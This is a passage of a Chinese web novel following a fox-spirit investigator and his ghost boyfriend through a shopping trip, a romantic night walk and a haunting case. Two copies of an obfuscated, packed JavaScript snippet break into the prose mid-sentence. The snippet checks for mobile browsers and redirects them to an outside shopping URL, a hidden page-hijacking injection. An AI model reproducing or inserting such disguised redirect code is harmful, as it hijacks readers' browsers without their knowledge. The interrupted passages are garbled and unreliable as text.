林疏：“……这是重点吗！！！” 郑小钦啧了一声，沉思片刻道：“不会是因为所谓前任，你有阴影了吧？拜托，鹤城圈子一共就这么大，优质一点的1互相置换一下不是很正常？腥风血雨的0也就那么几个吧。” 林疏心如死灰道：“算了算了，说不明白。没关系，先吃饭。你最近怎么样？” 郑小钦道：“在蓝帝上约过几次……你那是什么表情？约吃饭！不然呢！……然后发现都没感觉，连朋友都不想做，只能先孤寡着了。” 林疏瞧着郑小钦，思维却突然飘远了，突然道：“说起来你经常出差，有没有住过一个叫‘云途’的酒店？光说名字你可能没印象，它的走廊上挂着很多油画。” 郑小钦露出个茫然神色：“谁会注意这些……” 林疏道：“有一层楼，挂着一张红裙的法国女人，蓝眼睛金卷发，赤着脚倚在大理石栏杆上。” 郑小钦听了这话，却慢慢露出个惊讶的表情：“等等，你说的……该不会是鹑城的一个五星级酒店？” 林疏马上道：“你有印象？” 郑小钦摇摇头：“别的都忘了，但是你说的这幅画我见过，出去取外卖的时候看到的，我还站着看了很久，因为那幅画好像有什么魔力一样……吸引人忍不住就去看。” 林疏立刻掏出手机道：“你还记得酒店的具体位置和全称吗？” 郑小钦却道：“不记得了，我出差次数那么多，酒店很少住同一家，而且票据都交给财务用来报销了，只知道在鹑城。” 林疏心想线索也够了，知道城市就好办，到时候出差一趟，亲自去看看就是了。 遂放过了这个话题，而郑小钦知道林疏的工作性质，也不多问。 两人愉快地吃完了一顿饭，郑小钦就要去搬砖了，两人在路口挥泪告别，林疏则恢复了失魂落魄的模样，低着头往家走。 还没到小区，林疏一抬眼，突然看见姬悬月迎面过来了，他那样的相貌想让人看不见都难，林疏想躲，都不知道往哪里躲。 “林疏！”姬悬月已经看见他，并向他招手。 林疏只得迎上去：“嗳，你怎么出来了？” 姬悬月晃晃手机：“我来买点东西，家里还有好多调料都不全。” 林疏看了看四周，指着马路对面道：“那是附近货最全的超市，走吧，一起去逛逛。” 于是两个人肩并肩去逛超市，自动扶梯下行时，林疏回头看了一眼身后的姬悬月，突然伸手去摸姬悬月胸前的衬衣口袋。 姬悬月穿的衬衣布料很薄，林疏一伸手，本来是想看看姬悬月是不是把实体符放在胸前那个装饰口袋里，但掌心不慎触到了硬硬的胸肌。 林疏的脸红了，但确实摸到姬悬月胸口的口袋里装着纸质符咒。 前后的人很多，林疏只得压低了声音问：“你贴了几分钟的？” 姬悬月道：“不知道会逛多久，所以贴了一张一小时的。” 林疏给姬悬月准备的实体符多数是半小时的，也夹杂着几张十分钟的和一小时的，闻言他放下心来，将头扭了回去。 结果人刚下自动扶梯，底下戴着袖标的安全员突然伸手，拦住了林疏。 林疏：“？” 安全员同志非常严肃地道：“刚才二位乘坐自动扶梯的时候，有违规行为！” 林疏：“……” 他说的该不会是自己回头摸胸的事吧！！！ 姬悬月倒是很气定神闲，礼貌询问了安全员哪些行为是违规。 “乘坐扶梯时，不要东张西望，最好看着前方。”安全员同志板着脸，“刚才这位先生回头说话，说话是可以的，但说太久了，如果扶梯已经走到尽头，他这样很容易摔跤。” 林疏脸红得快要冒烟了，只得老老实实认了错，并录了小视频发朋友圈。 姬悬月瞧着林疏窘迫的样子，又想笑又不敢，只能面瘫脸站在他身后。 林疏也没太注意这些，录小视频的时候就把姬悬月也带上了。 等他发送了，安全员才诚恳道：“谢谢您配合工作，最近抓的严，我们有指标的，不然也不会麻烦你，祝你们……呃，百年好合。” 林疏：“……” 姬悬月很有风度地道：“谢谢。” 然后拉着林疏走掉了。 一直进到超市里，林疏都没回过神来：“百……百……百年好合……” 姬悬月面带微笑：“有什么问题？” 林疏脸红红：“没什么问题。” 他和姬悬月确实是在谈恋爱。 姬悬月已经学会了不少现代人必备技能，他熟门熟路跟着路标先去了调料区，然后和林疏小声商讨，喜欢吃什么样的酱油。 “酱油的品种也有很多啊，”他拿起两个玻璃瓶比对了一下，“凉拌酱油，一品鲜。底下还有红烧酱油和老抽。” 林疏对于这些几乎是一窍不通，他做菜就是有就行，能用就行，反而姬悬月仔细看了半天标签，最后选了两瓶放进购物车里。 接下来又买了盐和味精等物，逛着逛着，他们就走到了生鲜区。 林疏对青菜兴趣缺缺，姬悬月来回看了几圈，抓了几把新鲜的青菜去称重，而林疏已经跑去看着冷鲜区的鸡流口水，姬悬月便去夹了几个鸡翅装了起来。 “再买点葱姜，晚上给你做可乐鸡翅吧。”姬悬月道。 林疏猛点头。 真是太幸福了，作为一只狐狸，没有什么比能吃到鸡更快乐了。 于是执风子慷慨解囊，在零食区给姬悬月拿了一堆甜甜的零食，什么乳酪蛋糕熔岩蛋糕的，这才算是满载而归。 去结账的时候，林疏掏出手机正准备一个扫码，突然怔住，他的朋友圈有192个未读红点。 “……”林疏的脸肉眼可见地烧着了。 他刚才发那个小视频！忘！记！分！组！了！ 见林疏神色有异，姬悬月便掏出现金先付了款，然后问林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883417|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疏道：“怎么了？” 林疏没听见，他脑子里嗡嗡响。 姬悬月便把物品按类别装进购物袋，然后拍了一下林疏的肩膀：“好了，走吧。” 林疏如梦初醒，还惦记要付钱，就发现姬悬月已经付过了。 “？”林疏疑惑，“你哪来的钱？” 姬悬月道：“上次那个眼镜店老板给的，你忘了？” 林疏：“……” 是他无能，呜呜呜呜，要让姬悬月出卖脸蛋来赚钱QAQ 林疏短暂地不想面对朋友圈里还在激增的红点通知，鸵鸟一样把头埋在沙子里，和姬悬月肩并肩回了家。 到家后，姬悬月去厨房整理买来的东西，林疏坐在沙发上做了好久的心理建设，终于心惊胆战地点开了朋友圈…… 他发的小视频其实并没什么特别的，只是……贴了实体符的姬悬月入境了，就站在他身后，只露出一个下巴。 但，仅一个下巴，也足够认识姬悬月的人认出这唇红齿白的鬼新娘了。 更遑论，视频录到一半的时候姬悬月往后退了几步，脸一晃而过。 他望着林疏的眼神里，带着非常温柔的宠溺。 这足以让所有刷到这条朋友圈的人震惊。 于是映入林疏眼帘的是一大堆赞和数不清的评论。 林疏苦着脸往下滑，看到最多的是圈内好友的“祝99”，还有问他什么时候交了这么好看的男朋友，说林疏老牛吃嫩草这灰毛帅哥一看就刚满十八。 最让他胆战心惊的是师父点的赞和师娘回复的一串省略号…… 林疏只得硬着头皮编辑了一条朋友圈，删删改改，说灰发帅哥只是室友……但到要点发送的时候，他的手指却点不下去。 姬悬月在厨房里忙活，林疏抬眼看过去，就见到高大挺拔的鬼新娘正一脸认真地剥蒜。 做菜是一件非常细致的事，林疏自认是个毛手毛脚的炸厨房选手，所谓厨艺，也只不过是勉强饿不死人。 姬悬月却好像在这件事上有十足的天赋。 他一边耐心准备配料，一边回头跟手机上的教学视频学习，认真的模样看起来是那么让人心动。 姬悬月浑然不知林疏正在看自己，他一边幻想林疏大快朵颐的样子，一边带着笑容认真备菜。然切姜片切到一半，身后突然有一双手搂住了他的腰。 “怎么了？”他手上的菜刀顿了一下，低声问道。 “我们是在谈恋爱吧？” 林疏把脸贴在他脊背上。 姬悬月笑了：“是呀，怎么了？” “没什么，我只是在纠结一件事。”林疏道，“刚才发朋友圈的时候不小心忘记屏蔽，把你跟我一起出镜的小视频发出去了。然后好多朋友和同事都问我，什么时候找的男朋友……” 姬悬月失笑：“会有人认出我吧？不过我们只是一起出镜，我们又没什么亲密举动，你可以澄清。” “那不重要，”林疏道，“我本来想说，你我只是室友，可我突然有一种冲动，想告诉所有人我在跟你谈恋爱。” 姬悬月道：“你不怕他们知道我不是个活人吗？” 林疏道：“不知道，我没想那么多。” 69. 第 69 章 姬悬月道：“那就好好想想，再做决定。” 林疏道：“我前天晚上做了个梦，一直没有告诉你我梦到了什么。现在我想告诉你，我梦见的……可能是我的亡夫。” 姬悬月停下了切菜的手。 他放下菜刀，回过身来，将林疏拥进怀里，温和道：“你梦见他了，那你想起他了吗？” 林疏纠结再纠结，最后还是硬着头皮说了：“我梦见我跟那个人互换信物，但那个人……是穆绍棠。” 姬悬月：“……” 林疏如今说起仍觉得难以置信：“……虽然但是，我不明白，为什么会是他？” 姬悬月有些混乱，他跟林疏确认道：“穆绍棠？” 林疏点点头：“我不会认错的，而且……我回忆了一下，我这些年找到的那些我觉得与亡夫神似的人，多多少少都挂一点穆绍棠的相。” 姬悬月静了一会儿，却笑了：“这有什么，要说他们长得跟我像也可以。你不是也说过我神似你亡夫吗？” 林疏：“……” 好像也是，毕竟姬悬月是个惊天大美人，穆绍棠也不遑多让，只是穆绍棠多了几分文气，少了些艳丽。 而好看的人总会有几分相似之处的。 且林疏记得姬悬月说过，他也是穆家的儿子，所以他和穆绍棠像也很正常。 姬悬月半开玩笑道：“如果有人问为什么你男朋友是死人，你可以说我就是你的亡夫。” 但话说到这，姬悬月突然反应过来，自己和穆绍棠也是拜过堂的关系，他马上不太确定道：“等等，难道你我当年其实是情敌？” 林疏挠挠头：“不知道啊，不记得了，难道当年穆绍棠享过齐人之福？……但我自始至终是个0，那穆绍棠是什么？如果穆绍棠是1，你也是1，两1相遇……” 必有一0。 他开始用新奇的眼神打量姬悬月。 姬悬月：“……” 他飞快制止了林疏这个危险的想法：“我觉得没有这么复杂，你跟他或许是在我死之后才发展出关系的。” 林疏哭笑不得：“那你跟我算什么？一个鳏夫……和一个寡夫，对象是同一个人？” 姬悬月认真想了想，居然点了点头道：“也挺配的。” 林疏：“……然后我发一条朋友圈，说我跟亡夫的前妻在一起了？” 姬悬月忍俊不禁：“也不是不行。” “……”林疏顿时觉得身心都受到了巨大的打击。 #你的前夫我的前夫好像都一样# #不如鳏夫寡夫凑合过吧# 这是什么人间魔幻剧情！ 林疏郁郁寡欢，把手机和上了，他不想解释了，他摆烂了，别人爱怎么想就怎么想吧。 姬悬月很快做出色香味俱全的三个菜，端上餐桌后，却见林疏正撅着屁股拱在沙发上装死。 “吃饭了，”他好笑地朝林疏喊了一声。 林疏慢吞吞爬起来，无精打采地走到桌前坐下了。 鸡翅的香味在勾引他的味觉。 姬悬月诱惑道：“小火慢炖的鸡翅喔，汤汁黏稠、香甜软烂，配上粒粒分明的喷香大米饭……” 林疏：“……” 虽然这文案一听就知道是从美食博主那里抄的，但…… 林疏眼睛倏地一下就亮了。 哪有狐狸能拒绝鸡翅呢？ 他夹起一块鸡翅，放进嘴里，舌头灵活转了一圈，就将干干净净骨头吐了出来，双眼放光道：“也太好吃了！” 姬悬月笑着看着他：“喜欢就都吃了吧，我已经尝过了。” 林疏顿时把什么烦恼什么伦理纲常都丢到脑后去了，风卷残云一般嗦了大半盘，还不忘招呼姬悬月也一起吃。米饭炫了三碗，终于打着嗝儿停下了。 “这样吃下去，我会变成胖狐狸的……”林疏揉着肚子，“不行，这是最后一餐了，下次绝对不能这么吃……” 姬悬月于是拿出小本本：“那我下次注重一下营养搭配，吃完饭，我们再出去散步。” 林疏猛猛点头，笑得狐狸眼都眯起来：“好！” 如果可以一直这样岁月静好，那就好了。 收拾完厨房，林疏心事重重趴在沙发上继续装死。 朋友圈事件，他就丢在那里不管了，但微信上的消息轰炸还是没有停止过。 小纪发了一串问号跟他打听八卦，郑小钦发了一堆表情包让他从实招来，就连小轩都发了个意味深长的表情过来。 还有许多，林疏拿着手机，回又不知道怎么回，不回好像又不太行。 但那段“澄清”文字终于还是没有发出去。 他逐字逐句删掉了。 最后，也只是给朋友们挨个回复了一个笑脸。 而姬悬月已经换了一件外出的衣服，然后走去揉了揉林疏的头：“去散步吧，消消食。” 林疏应了一声，麻利地起身。天还没黑，林疏从衣柜里随手摸了一件T恤换上，跟姬悬月并肩出了门。 下过雨的鹤城，像一位洗净铅华的素净美女。 建筑的灰白被雨水浸成湿漉漉的青色，显得格外清透和古朴。 天边夕阳，落在远处建筑物的玻璃上，如鎏金的碎片，斑驳着映在林疏和姬悬月眼中。 ——散步的地方自然是人越少越好，所以他们没有往大学城的方向走，而是去了外环的郊区。这边车少，多是健身的骑行者。 林疏猛吸一口新鲜空气，道：“下过雨之后，连空气都变好了。” 姬悬月道：“你喜欢的话我们可以经常来。” 林疏笑道：“这一带其实空气质量一般，平时鹤城刮南风，南边正好是个矿区，粉尘多得很。现代化的都市就这点不好，想呼吸新鲜空气都得看缘分。” 太阳逐渐西沉，林疏指着前面很远处一幢反射阳光的大厦，道：“你瞧，那就是矿区的大厦，他们都在那里办公。” 姬悬月抬头看过去，感叹道：“好亮的一幢大厦。” 林疏得意道：“亮是自然的，他们为了风水局，整个楼换了镜面玻璃。我曾经去那里处理过一个案子，从一楼找到十六楼才发现他们的公司名字都叫XX矿业……没办法我又给局里打电话问具体的名字，不然苦主都找不到。” 姬悬月道：“是个什么案子？” 林疏仔细回想了一番，道：“好像是个集体见鬼的案子，一整层的人都出现幻觉什么的……不过最后调查说是吃了老板娘从家里带来的菌子……” 姬悬月：“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883418|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林疏笑道：“也不全是菌子，他们整层办公室的布局都不对，聚不起来财气反而聚了煞气，所以一有点小事就会搞得很大，那些毒蘑菇其实只会让他们小小发一会儿癫，但在那个楼层，发癫的效用至少被增加了十倍。” 姬悬月道：“最后怎么解决的？” 林疏叹口气，道：“反正都拉去医院了，后来也没有别的反馈，我就没再跟进了。” 说话间，太阳已经落了下去，璀璨的大厦变成了灰蒙蒙的颜色，并逐渐与远方深色的山影融为一体。 天边的月亮也慢慢升起来了，两人散步的路线是绕着林区走一个大圈，月亮开始还在右手边，走着走着，就来到了左手边。 周围愈发静谧，静得除了彼此的脚步声，就只剩林疏扑通扑通的心跳声。 月光真美啊。 姬悬月和林疏不约而同抬头看着天际。 林疏心想，如果可以一直这样就好了，时间就停在这一秒。 姬悬月突然伸手按住了林疏的肩膀。 林疏错愕转头，就见姬悬月的脸靠了过来。 一个非常非常轻的吻，落在了他的唇上。 两人的脚步都停了下来。 天上的月亮洒下非常温柔和冰凉的光。 就像姬悬月的吻一样。 片刻后，姬悬月十分克制地抬起了头，手仍然放在林疏肩膀上。 林疏笑盈盈道：“你不是说，要等我准备好了吗？” 姬悬月反问道：“你没有准备好吗？” 林疏不说话，但手指轻轻拂过了自己的鼻梁，姬悬月顿时眼花了一下，就见月光下的小狐狸已经不是黑发的模样，而是如雪长发的魅惑法相。 姬悬月仿佛被诱惑，不由得以指尖挑起林疏的下巴，目光控制不住落进了林疏含着盈盈星河的双眸中。 小狐狸的眼尾微微上挑——睫毛也变成了浅浅的白色，像有雪花落在上面一般。 在柔软的月光下，林疏缓缓闭上了眼睛，而姬悬月低头轻轻亲吻了他睫上的雪花。 然后是鼻梁，嘴唇。 姬悬月着了魔。 天狐的嘴唇柔软清香，像最甜美的糕点，像致命的毒药。 姬悬月从来不知道自己会这样渴望着唇舌的厮磨，他渴望听到林疏的声音，渴望看着林疏的脸庞。于是偷偷睁开了眼睛，厉鬼的眼神浓烈得要将天狐纯净的面孔灼伤。 云朵将月光掩藏。 姬悬月狼狈地退了半步，他听见林疏缺氧喘息的声音，随后，小狐狸顶着粉红耳尖蹭进了他怀里。 “我好喜欢你，我的心仿佛活过来了，它在飞快地跳。”姬悬月认真道。 林疏听着他胸口的寂静无声，过了许久才道：“我知道，我听见了。” 他听见的当然不是躯体的心跳声，而是来自灵魂的心跳声。 “我可以给你看我的伤疤。”于是林疏小声道。 他捉住姬悬月的手，将冰凉的掌心放在自己T恤的领口上。 然后小狐狸微微扬起了头，将脆弱的喉管暴露在云雾遮敛的月光下。 姬悬月怔怔地看着林疏瓷白的颈项，那上面有一道狰狞缝合的伤疤，歪歪扭扭，虽然已经被岁月抚平，但仍然可见它曾经的惨烈。 70. 第 70 章 如今，冰白月光下，那疤痕已经很淡，白皙的颈上，喉结弧度优美，轻轻滚动一下，是林疏紧张地咽了口唾沫。 姬悬月却俯身，低头吻上了那道疤痕。 林疏一颤，向后缩了一下，脊背被姬悬月以掌心抵住。 姬悬月低声问道：“我可以看看你身上其他的伤疤吗？” 林疏顿了一下，他不知道是最近自己脑子里废料太多，还是姬悬月确有此意，他总觉得这个“看看疤”不太单纯，所以脸很快就红了。 “再等等好不好？我还没准备好。”他说完，又觉得自己的语气里好像带了点撒娇。 不由更加羞赧，快速在自己鼻梁上抹了一下，就穿上了黑发的画皮。 并且连姬悬月看他的眼神都要躲避。 两人再无心散步闲聊，彼此脚步顿时飞快，只用了很短的时间就回到了家。 到家后，林疏拖着一身汗去洗澡了，这次洗了很久。 明天就是销假的日子……林疏一边想入非非，一边觉得今晚实在不是个开车的好时机。 ……按照姬悬月的尺寸，他们如果真的做了，林疏明天说不定要拄着拐杖去灵调局上班。 但出来后，他就看见黑暗中，姬悬月坐在沙发上，灼灼目光就落在他身上。 那一瞬间，什么明天、什么上班，都被抛在脑后了。 林疏把擦头发的毛巾丢在一边，缓缓走到姬悬月面前。 而姬悬月慢慢伸手，轻抚上林疏的腰侧。 掌心贴在林疏腰部薄削的肌肉上，凉凉的。 林疏的呼吸急促起来，他有些羞赧，慢慢闭上眼睛，手指在鼻梁上划一下，黑发的画皮消失，粉白狐耳的长发美人落入姬悬月的怀里。 缠绵的吻在安静的房子里慢慢变得不再单纯。 姬悬月终于在微凉月光中，看清了林疏身上所有的缝合伤疤。 他的亲吻停住了。 冰凉的指尖，落在每一处狰狞缝合的纹路。 林疏的身躯微微颤抖着，在这二十四年的记忆里，从他学会画皮开始，他就再没有给人看过这些疤痕了。 此刻他觉得自己像是被剖开了，有些难堪，有些血淋淋。 房间里光线很暗，林疏知道要给人看自己的身体，所以没敢开灯。 黑暗是他的保护色，哪怕月光落进来，落在他身上，他依然还存有一丝藏匿在暗处的安全感。 哪怕他已经完全展现在了姬悬月面前。 哪怕……他其实很害怕姬悬月不喜欢他的伤疤。 但姬悬月轻柔地将满身伤痕的小狐狸揉进了怀里。 他轻声道：“我的小狐狸，你是世上最美的小狐狸。” 林疏听见自己狂跳的心脏，也感受到姬悬月对他毫不设防的真心。 但他发现，姬悬月没有在呼吸。 当然，鬼是不用呼吸的，但姬悬月保留着生前的习惯，也怕自己不呼吸吓到别人，所以多数时候，胸腔都是起伏的。 如今不呼吸了，倒像是在忍耐着什么。 林疏疑惑地抬头，想去看姬悬月的眼睛，角度原因，他没看见，倒是见姬悬月的喉结滑动了两下。 林疏突然坏心眼就上来了，他在姬悬月怀里蹭了蹭，用狐耳去顶姬悬月的下巴：“哎呀，哎呀……明天我就不放假了，今天要早点睡的。” 姬悬月：“……” 知道这鬼新娘向来是个绅士，且十分尊重自己，林疏就无情无义地轻松挣脱开了他的怀抱，一秒披上画皮，跑回床上去了。 姬悬月：“……” 林疏窝在床上装死。 姬悬月看着小狐狸在被子里扭来扭去，头顶一团黑线。 他当即几步窜过去，将小狐狸连人带被子裹成一团，狠狠揉了揉，然后在咬着被角的林疏唇边浅浅一吻。 随即起身——还能怎么办呢？当然是选择原谅他。 ……天知道他此刻多想抛弃那些无用的理智，如果不是还有理智在，他恐怕已经把林疏整个拆开、吞进肚子里了。 此时林疏离开他三尺之内，他也终于找回了脑子。 经过今天的事，姬悬月可以确认，他死前死后，都没对别的什么人有过这样浓烈的渴望。 所以，他对穆什么绍棠其实根本没有过爱情吧。 爱着的人，只要看他一眼，哪怕身体里已经没有血液在流动，都会头脑发懵，什么也不想，只想和他负距离贴在一起。 如果这才是爱情——姬悬月今天才明白，人类最原始的欲|望竟然不是吃东西，这种欲的产生甚至无关生死。 而是面对着爱人甚至需要克制，要与自己的本能对抗的——无时无刻不在脑子里上蹿下跳地煎熬的，交|配的欲|望。 姬悬月想笑话自己，居然有一天他也会承认自己是欲|望的奴隶。 …… 林疏在被子里一动也不敢动，姬悬月没有冲上来这件事真的出乎他的意料了，但如他所说，两天的休假马上结束，明天天亮，林疏就必须去上班了。 到时候还要跟林聆申请去鹑城出差，如果今晚真的做了什么，恐怕明天他就不能从灵协办活着出来了。 林疏一边感恩姬悬月，一边又有些恨铁不成钢。 如果姬悬月此时能听见林疏内心的腹诽，一定会恼羞成怒，化身为狼。 …… 于是，次日，林疏在工作日的早上满怀心事骑着车带着姬悬月来到了灵调局，拿着条子到一楼销完假，他先独自去了一趟灵协办。 林聆如常坐在办公室里处理文件，见了林疏，如没见到一般。 林疏胆战心惊推门进去：“师……林主任，我回来上班了。” 林聆头也不抬：“嗯。” 林疏道：“穆家的事……” 林聆随口道：“交给顾局了，他最近很闲。” 林疏道：“那金蚕蛊的蛊王？” 林聆举起手中的案卷：“我在跟进。你回去管你的那部分就行了。” 林疏只好道：“我有一条关于上次‘食人魔案’的补充线索，要去一趟鹑城，这是跨省办案的出差申请。” 林聆抬眸，接过林疏手中的申请书，一目十行看完，在底下随手勾了一下：“不急，你先把穆家兄弟的案卷整理出来，移交给顾局，再把你特派天师的案子从调查处领回来，都处理完了、入了档，再去鹑城。” 林疏应了，转身就回了办公室，迅速将穆迎秋穆迎松兄弟的相关资料都整理成档案盒，准备移交上去。 姬悬月老老实实 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林聆见林疏回来了，对他也冷笑了一下：“你居然还敢带他来灵调局？” 林疏感受到师娘眼中的杀气，赶紧窜过去挡在了姬悬月身前，狡辩道：“现在这种时候，他不在我身边才更危险吧……” “我只问你一句，”林聆道，“你跟他进展到哪一步了？” “啊？”林疏傻眼了，他没想到师娘来兴师问罪的是这件事。 而看在林聆眼中，他犹犹豫豫的样子已经把自己卖了个彻底。 林聆气得简直想把小狐狸拎过来揍一顿：“明明知道是南墙，还非要往上撞！我怎么教出你这么个傻孩子！” 林疏深吸了口气，正色道：“是的师娘，我想试一试，我一定要试一试！我已经做好准备去面对我们的结局了，有什么结果我自己担着！” “好好好，”林聆已经气笑了，对他道，“你们两个的事我会告诉你师父，我不管了。” 说完，林聆摔门就走，林疏顿时如丧考妣，将案卷往桌子上一堆，趴在上面就不动了。 姬悬月于是在一旁感慨地泼起了冷水：“我现在感觉，我很像那种刚出狱的有前科凤凰男，带着一屁股债，去骗人家傻白甜的白富美。” 林疏有气无力道：“少看营销号卖的小说推文……不过还真贴切啊。” 姬悬月轻声道：“网上也说这样的爱情是不会有好结果的，不过你放心，我不会拖累你太久。” 林疏：“？” 他听这话听得很烦躁，当即阴阳怪气道：“怎么？今天就后悔了？不会拖累我太久这种话你也说得出口，那不如从现在就直接不要拖累了！” 姬悬月的双眼却认真起来，好像真的开始思考这种可能了。 林疏瞧着他略带忧郁的侧脸，突然又心软了。 随之而来的是更加浓郁的焦躁，他简直不知道要说什么好。 明明只是谈个恋爱，为什么好像全世界都在拦着他？ 不过也对，搁在小说里他简直就是恋爱脑上头的傻卵，应该去挖几年野菜清醒一下。 71. 第 71 章 而且姬悬月说的这个比喻简直太贴切了，这家伙就像一个犯下死罪的囚犯，还欠了一屁股的功德要还，林疏不躲远点就算了还凑上去跟人家谈恋爱…… 可是，血孽也不是姬悬月自愿犯下的。 攒功德也本来就是林疏的人生目标，顺便带一下姬悬月，就算不是恋爱的关系，只是朋友，也无可厚非。 林疏越想越烦，偏偏嘴上再说不出这样冰冷的话，只得起身，翻出刚才拿着的那个案卷，草草看了一遍，冷漠道：“外勤。” 姬悬月便跟上他，两人一同下了楼。 灵调局的员工们，有的开了天眼，有的没开，所以林疏身边跟着“小视频中那个帅哥”的事，有人看到了，有人没看到。 当然，看到的也不敢问。 毕竟帅哥是个鬼。 需要外勤的案子是个罕见的亡魂逃逸案，其实不该林疏管，应该是东岳阴司的职责。 案卷中提到，某公司一名职员长期受鬼魂纠缠，警方排除了投毒、误食毒蘑菇等可能后，递交给灵调局排查过，当时接管的还是杨老，他调查后发现是还未归位的死魂纠缠，就转交给东岳阴司了。 但如今，案子又被警察重新递交了上来，证明东岳阴司并没能完全解决。 而楼下调查科已经同东岳那边沟通过，说头一次案子里那鬼魂跟被纠缠者无任何亲缘关系，甚至都不认识，无常们去勾魂的时候它还躲起来了，所以一直没抓到。 但那死魂也很久没出现过，所以东岳阴司就暂时先忙别的去了，直到这次，事件又发生了，但似乎换了个目标，所以警察们又递了上来。 然后案子被林疏带回，就是这么一堆烂摊子。 林疏跨上自行车，低头看了一眼手机地图。 肃山区……有点耳熟。 哪个朋友住那里来着？ 林疏暂时想不起来，也懒得想，反正都是凡人的朋友。他蹬动自行车，也不管姬悬月坐没坐上后座，就朝那边去了。 姬悬月知道自己刚才说的话惹得林疏恼火，只得苦笑一声，跟在他身后飘。 肃山区位于鹤城中心偏左，和朴素的勤山区不同，肃山区是正宗的富人区，圈内住的多数是隐形富豪，商圈不大，但物价奇高。 报案人住在肃山区一个还算新的小区，林疏来前打过电话，知道他在家。 小区的登记非常严格，林疏写了差不多一页纸的来访说明，才成功进入院内。 过五关斩六将，终于来到报案人门前，林疏觉得自己好像去了一趟西天取经。 而报案人开门非常极其特别慢，林疏靠在门口等，等得脚都麻了，才等到电子门锁嘀嘀了两声。 然后，他终于见到了报案人的面。 是个颇为年轻的男人，眼睛底下好大的黑眼圈，乌青的脸色符合被鬼眷顾的特点。 “林道长？你好。”男人裹紧了身上的棉袄，确认过林疏手中的工作证件，给他让出一条路来。 林疏慢吞吞跨进来，姬悬月早已经挤了进去，并在屋子里逛了一圈。 男人请林疏坐下了，然后回头看向吧台，似乎在犹豫要不要去烧点水沏茶。 林疏直截了当道：“不用麻烦，您是许颂江，对吗？” 许颂江点点头：“是我。” 林疏道：“你被鬼缠身，持续了多久？” 许颂江回想了一下，道：“去年十月到今年三月，那时候不太严重，慢慢也好了，我以为是神经衰弱。但一周前又……” 林疏道：“我看过案卷，据你所说它会进入你的梦，还会在你上班的时候打扰你，请问是怎么个打扰法？” 许颂江犹豫了一下，道：“她……她会捏我的脸，和我的，呃……胸肌。” 林疏：“……” 是个色鬼。字面意思，色“鬼”。 林疏道：“她现在在吗？” 许颂江摇头：“我休假后她就没来碰过我，只偶尔会在梦里出现几次。所以……我都不敢睡觉。” “梦里见过？长什么样子？”林疏问道。 许颂江道：“看不见，我只是会被触碰到，从来没见过她的实体。” “休假后就没碰过……”林疏低头记录，突然问道，“请问您的工作单位是？” “载舟科技，”许颂江道。 他起身去玄关处的公文包里翻找了一会儿，递给林疏一张名片，道：“我是载舟科技的项目经理，背面有公司的地址，离这里不远。” 林疏抄下相关信息，然后按照惯例丢下一张自己的名片和三角黄符，道：“我可能要先去你的公司看一眼，这张符和名片留给你。” 说完，他给姬悬月递了个眼神，一狐一鬼礼貌离开。 在去“载舟科技”的路上，林疏几次想开口，照常和姬悬月讨论调查结果，但就是说不出来。 他胸口里还满满的都是情绪，明知道情绪不能带进工作里，但他就是不想主动说话。 姬悬月倒是很机灵，他直接开口道：“他家没什么异常，但是这个人阳气很弱，我看着他，就觉得我很容易就能影响到他，让他做梦或者看到我都很简单。” 有台阶，林疏再不情愿，也只能捏着鼻子下了：“他两边肩膀和头顶的三把火，至少灭过两盏……不过，你们鬼是看见这种阳气低的人就想欺负一下吗？” 姬悬月道：“我不知道，别的鬼或许会吧，反正我没兴趣。” 林疏阴阳怪气道：“忽略他的黑眼圈，他还是很帅的嘛。” 姬悬月正色道：“我眼里只看得见你。” 林疏啧了一声，不愿接茬，绕开话题道：“我还感觉到他身上没什么怨鬼的气息，对方不是找他报仇的。” 姬悬月从善如流问道：“那会是什么原因？” 林疏道：“那只有看过他的公司才能知道了。” 载舟科技位于肃山区地标建筑“青岚大厦”的19层，实际应该是18层，不过开发商们为了讨个吉利都会让过“18”这个数字，直接计算到19。 林疏填过会客表后，成功进入了载舟科技，而乍一进门，他就看见一个披头散发的黄裙女鬼骑在一名男性员工的头上。 林疏：“……” 女鬼：“……” 女鬼怪叫一声，转身就跑了。 林疏原地愣了0.1秒钟，手已经本能丢出一根缚灵索，但女鬼已经从窗户跳了出去，缚灵索长度有限，当着这么多人林疏不好直接像个疯子一 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林疏笑了，他起身，随手拿起冯老板桌子上的合照看了一眼，瞧着上面戴帽子穿碎花秋装的女人道：“这是冯老板的家人吧？尊夫人真漂亮。” 冯老板的脸色变得很难看：“请你放下我爱人的照片，你们灵调局的人都是这么查案子的吗？” 林疏却在放下照片后站正了，神色也认真许多：“尊夫人是什么时候去世的？” 冯老板一惊：“你怎么知道……” 林疏道：“照片上的她脸带死气，拍摄照片的时候恐怕就已经时日无多。而照片中的冯老板脸上有久戴口罩晒太阳留下的印子……应当不是今年的照片吧？” 冯老板心知自己夫人去世的事情不算秘密，但他从来没有拿到公司来说过，是以语气中带了几分试探：“照片是去年秋天拍摄，你认识冯某？” 林疏道：“今天第一次见面。” 冯老板道：“我夫人去世的事不算秘密，你听说过也正常。” 林疏道：“你夫人是否喜穿米黄色连衣裙，长卷发，头发没有染过色？” 冯老板：“……她不喜欢米黄色。” 林疏露出意外的神色。 然而冯老板的脸色很难看：“但小娟是穿着米黄色连衣裙走的。你……” 